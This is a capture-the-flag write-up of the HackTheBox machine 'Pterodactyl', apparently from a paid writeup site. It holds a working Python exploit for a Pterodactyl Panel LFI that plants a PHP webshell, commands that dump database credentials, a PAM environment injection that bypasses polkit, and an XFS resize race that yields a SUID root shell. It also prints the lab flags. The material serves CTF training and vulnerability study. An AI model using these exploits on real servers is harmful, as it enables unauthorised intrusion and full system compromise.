infrafreehard

Pterodactyl

hackthebox

Task: HackTheBox Full Pwn machine with openSUSE Leap 15.6 and Pterodactyl Panel v1.11.10. Solution: Chain of three CVEs — LFI via pearcmd.php for RCE, PAM environment injection for polkit bypass, XFS resize race condition for SUID root shell.

$ ls tags/ techniques/
pearcmd_lfi_to_rcebcrypt_hash_crackingpam_environment_injectionpolkit_allow_active_bypassxfs_resize_race_conditionxfs_db_inode_patchingsuid_root_via_nosuid_bypassdbus_filesystem_resize

Pterodactyl — HackTheBox (Season 7 Full Pwn)

Description

HackTheBox Full Pwn machine. openSUSE Leap 15.6 с Pterodactyl Panel v1.11.10. Три CVE в цепочке: LFI → RCE → polkit bypass → race condition → root.

Target: 10.129.4.204 (HTB VPN) OS: openSUSE Leap 15.6 (Kernel 6.4.0-150600.23.65-default, Btrfs) Services: SSH (22), nginx (80), PHP-FPM (9000), MariaDB (3306), Redis (6379), Postfix (25) Web: Pterodactyl Panel v1.11.10 on panel.pterodactyl.htb Flag format: 32-char hex hashes

Analysis

Hard-level machine with a chain of three 2025 CVEs. Key characteristics:

  1. Pterodactyl Panel v1.11.10 — vulnerable to LFI via locale loading (CVE-2025-49132)
  2. openSUSE Leap 15.6 — PAM user_readenv=1 by default allows environment variable injection (CVE-2025-6018)
  3. libblockdev 2.26 — race condition during XFS resize creates temporary mount without nosuid (CVE-2025-6019)
  4. targetpw in sudoers — trap: sudo (ALL) ALL is useless without root password

Hint for privesc — email from headmonitor about "Unusual udisksd activity".

Solution

Step 1: Reconnaissance

nmap -sV -sC -p- 10.129.4.204 --open -T4
PortServiceDetails
22/tcpSSHOpenSSH
80/tcpnginxTwo vhosts: pterodactyl.htb (static), panel.pterodactyl.htb (Pterodactyl Panel)

Pterodactyl Panel v1.11.10 identified on panel.pterodactyl.htb.

Step 2: Initial Access — CVE-2025-49132 (Pterodactyl Panel LFI → RCE)

Pterodactyl Panel v1.11.10 has unauthenticated LFI via endpoint /locales/locale.json — parameters locale and namespace allow path traversal.

Key technique: including pearcmd.php (/usr/share/php/PEAR/pearcmd.php on openSUSE) allows using PEAR config-create to write arbitrary PHP files.

Exploit rce.py (two-stage):

#!/usr/bin/env python3 """ CVE-2025-49132 — Pterodactyl Panel LFI via pearcmd.php Stage 1: Write PHP payload via pearcmd config-create to /var/tmp/ Stage 2: Include the written file via LFI to execute commands """ import requests import sys TARGET = "http://panel.pterodactyl.htb" def stage1_write_payload(): """Use pearcmd.php config-create to write PHP webshell to /var/tmp/""" # LFI to include pearcmd.php with config-create argument # pearcmd config-create writes arbitrary content to a file url = f"{TARGET}/locales/../../../../usr/share/php/PEAR/pearcmd.php" params = { # PEAR config-create <root_path> <filename> # root_path becomes the content of the config file "+config-create": "", "/<?php system($_GET['cmd']);?>": "", "/var/tmp/shell.php": "" } r = requests.get(url, params=params) return r.status_code == 200 def stage2_execute(cmd): """Include the written PHP file via LFI""" url = f"{TARGET}/locales/../../../../var/tmp/shell.php" r = requests.get(url, params={"cmd": cmd}) return r.text if __name__ == "__main__": stage1_write_payload() print(stage2_execute(sys.argv[1] if len(sys.argv) > 1 else "id"))

Result: RCE as wwwrun (uid 474, web server user on openSUSE).

Step 3: Post-Exploitation as wwwrun

Extracted information:

# Laravel .env — APP_KEY, DB credentials cat /var/www/pterodactyl/.env # → DB: pterodactyl:PteraPanel # Wings daemon config cat /etc/pterodactyl/config.yml # Users with shell grep -v nologin /etc/passwd # → root, headmonitor (uid 1001), phileasfogg3 (uid 1002)

MariaDB dump:

mysql -u pterodactyl -pPteraPanel -e "SELECT username,password FROM panel.users" # → bcrypt hashes for headmonitor and phileasfogg3

Configured SSH key for wwwrun → port forwarding to MariaDB (3306), Redis (6379), Postfix (25).

Step 4: User Flag — Cracking bcrypt Hash

User flag accessible via RCE: /home/phileasfogg3/user.txt

8b17af63d3760785fab2da25a546f528

Cracking phileasfogg3's password:

# Save hash echo 'phileasfogg3:$2y$10$...' > hash.txt # John the Ripper with rockyou.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Password: !QAZ2wsx — keyboard walk pattern (Shift+1, Shift+2... down the left side of keyboard).

ssh [email protected] # Password: !QAZ2wsx

Step 5: Enumeration as phileasfogg3

sudo -l # → (ALL) ALL, BUT with targetpw — requires ROOT password, not user's! # This is the default openSUSE sudoers configuration — a trap! # No SUID, no capabilities, no writable cron/systemd

Critical hint — email:

cat /var/mail/phileasfogg3 # → Email from headmonitor: # → "Unusual udisksd activity" + "apply pending updates"

This directly points to udisks2 as the privesc vector.

rpm -q udisks2 libblockdev # → udisks2 2.9.2 (with btrfs module) # → libblockdev 2.26

Step 6: Privilege Escalation Phase 1 — CVE-2025-6018 (PAM Environment Injection)

Vulnerability: On openSUSE Leap 15 / SUSE Linux Enterprise 15, the pam_env module reads ~/.pam_environment by default (user_readenv=1). pam_env executes BEFORE pam_systemd in the PAM stack.

Exploitation: Injecting XDG_SEAT=seat0 and XDG_VTNR=1 forces pam_systemd to assign a local seat to the SSH session → polkit grants allow_active (normally only for physical console).

# Create ~/.pam_environment echo 'XDG_SEAT OVERRIDE=seat0' > ~/.pam_environment echo 'XDG_VTNR OVERRIDE=1' >> ~/.pam_environment # Reconnect via SSH exit ssh [email protected]

Verification:

loginctl show-session $(loginctl | grep phileasfogg3 | awk '{print $1}') # → Seat=seat0 # → Active=yes

Now udisksctl loop-setup and udisksctl mount work without authentication!

Step 7: Privilege Escalation Phase 2 — CVE-2025-6019 (libblockdev XFS Resize Race)

Vulnerability: When calling Filesystem.Resize via D-Bus, the internal helper fs_mount() in libblockdev temporarily mounts the filesystem in /tmp/blockdev.XXXXXX WITHOUT nosuid/nodev flags. This is needed for XFS (xfs_growfs requires a mounted FS).

Important: btrfs resize was NOT supported by this version of udisks2 — XFS is the only correct choice.

Creating XFS payload image (entirely on target machine):

# Create 300MB XFS image (minimum size for mkfs.xfs) truncate -s 300M /tmp/xfs.image /sbin/mkfs.xfs -f /tmp/xfs.image # Patch root directory — make world-writable via xfs_db /usr/sbin/xfs_db -x /tmp/xfs.image -c 'inode 128' -c 'write core.mode 040777' # Mount via udisksctl, copy bash udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction # → /dev/loop0 udisksctl mount -b /dev/loop0 --no-user-interaction # → /run/media/phileasfogg3/<UUID> # Copy bash to image cp /bin/bash /run/media/phileasfogg3/<UUID>/bash chmod 4555 /run/media/phileasfogg3/<UUID>/bash # Unmount udisksctl unmount -b /dev/loop0 --no-user-interaction

Patching inode via xfs_db (key technique!):

# Patch bash inode — set owner=root and SUID bit # This works WITHOUT root privileges — we're writing directly to raw image! /usr/sbin/xfs_db -x /tmp/xfs.image <<'EOF' inode 131 write core.uid 0 write core.gid 0 write core.mode 0104555 quit EOF

Why xfs_db: File transfer to the machine was extremely slow/unreliable. Creating SUID root payload entirely on target machine via raw inode metadata patching — the only reliable method.

Executing the exploit:

# Kill gvfs to prevent auto-mount interference killall -KILL gvfs-udisks2-volume-monitor # Set up loop device udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction # Start race loop — will execute SUID bash when temp mount appears while true; do /tmp/blockdev*/bash -p -c 'sleep 10; id; cat /root/root.txt' 2>/dev/null && break done & # Trigger XFS resize via D-Bus — creates temp mount WITHOUT nosuid! gdbus call --system \ --dest org.freedesktop.UDisks2 \ --object-path /org/freedesktop/UDisks2/block_devices/loop0 \ --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

Result:

Error: ... Failed to unmount '/dev/loop0' after resizing it: target is busy
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
3e9f6b35b7b0189ee29c778c9b06ecf5

Resize "failed" because race loop keeps mount busy — but that's exactly what we need! SUID root bash executed with euid=0(root).

Mount verification:

/dev/loop0 on /tmp/blockdev.NJBTK3 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)

NO nosuid flag! — vulnerability confirmed.

Flags

User: 8b17af63d3760785fab2da25a546f528
Root: 3e9f6b35b7b0189ee29c778c9b06ecf5

Full Attack Chain

nmap → vhost discovery → Pterodactyl Panel v1.11.10
  → CVE-2025-49132: LFI via locale + pearcmd.php → RCE as wwwrun
    → .env leak → MariaDB dump → bcrypt hashes
      → john + rockyou → phileasfogg3:!QAZ2wsx → SSH
        → email hint: "unusual udisksd activity"
          → CVE-2025-6018: ~/.pam_environment → XDG_SEAT=seat0 → polkit allow_active
            → CVE-2025-6019: XFS image + xfs_db SUID patch → udisksctl mount
              → gdbus Filesystem.Resize → temp mount WITHOUT nosuid
                → race loop → SUID bash → euid=0 → root flag

Key Indicators

Use this technique/chain when:

  • CVE-2025-49132: Pterodactyl Panel ≤ 1.11.10, pearcmd.php available on server
  • CVE-2025-6018: openSUSE Leap 15 / SUSE Linux Enterprise 15, pam_env with user_readenv=1 (default)
  • CVE-2025-6019: udisks2 with libblockdev ≤ 2.26, XFS support, polkit allow_active access
  • targetpw in sudoers: sudo (ALL) ALL is useless — typical trap on openSUSE
  • Email hints: always read /var/mail/* — often contains hints for privesc vector
  • xfs_db for SUID: when you need to create SUID root binary without root access — patching raw inode metadata in XFS image

Key Insights

  1. Email hint about "unusual udisksd activity" — direct pointer to privesc vector
  2. targetpw in openSUSE sudoers makes sudo (ALL) ALL useless without root password — common trap
  3. xfs_db for patching raw inode metadata — creating SUID root binary entirely on target machine without root privileges and without file transfer
  4. btrfs resize was NOT supported by this version of udisks2 — XFS is the only correct choice
  5. Race condition is very reliablesleep 10 in race loop keeps mount busy long enough
  6. Keyboard walk patterns (!QAZ2wsx) — common pattern in CTF, worth adding to custom wordlists

References

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups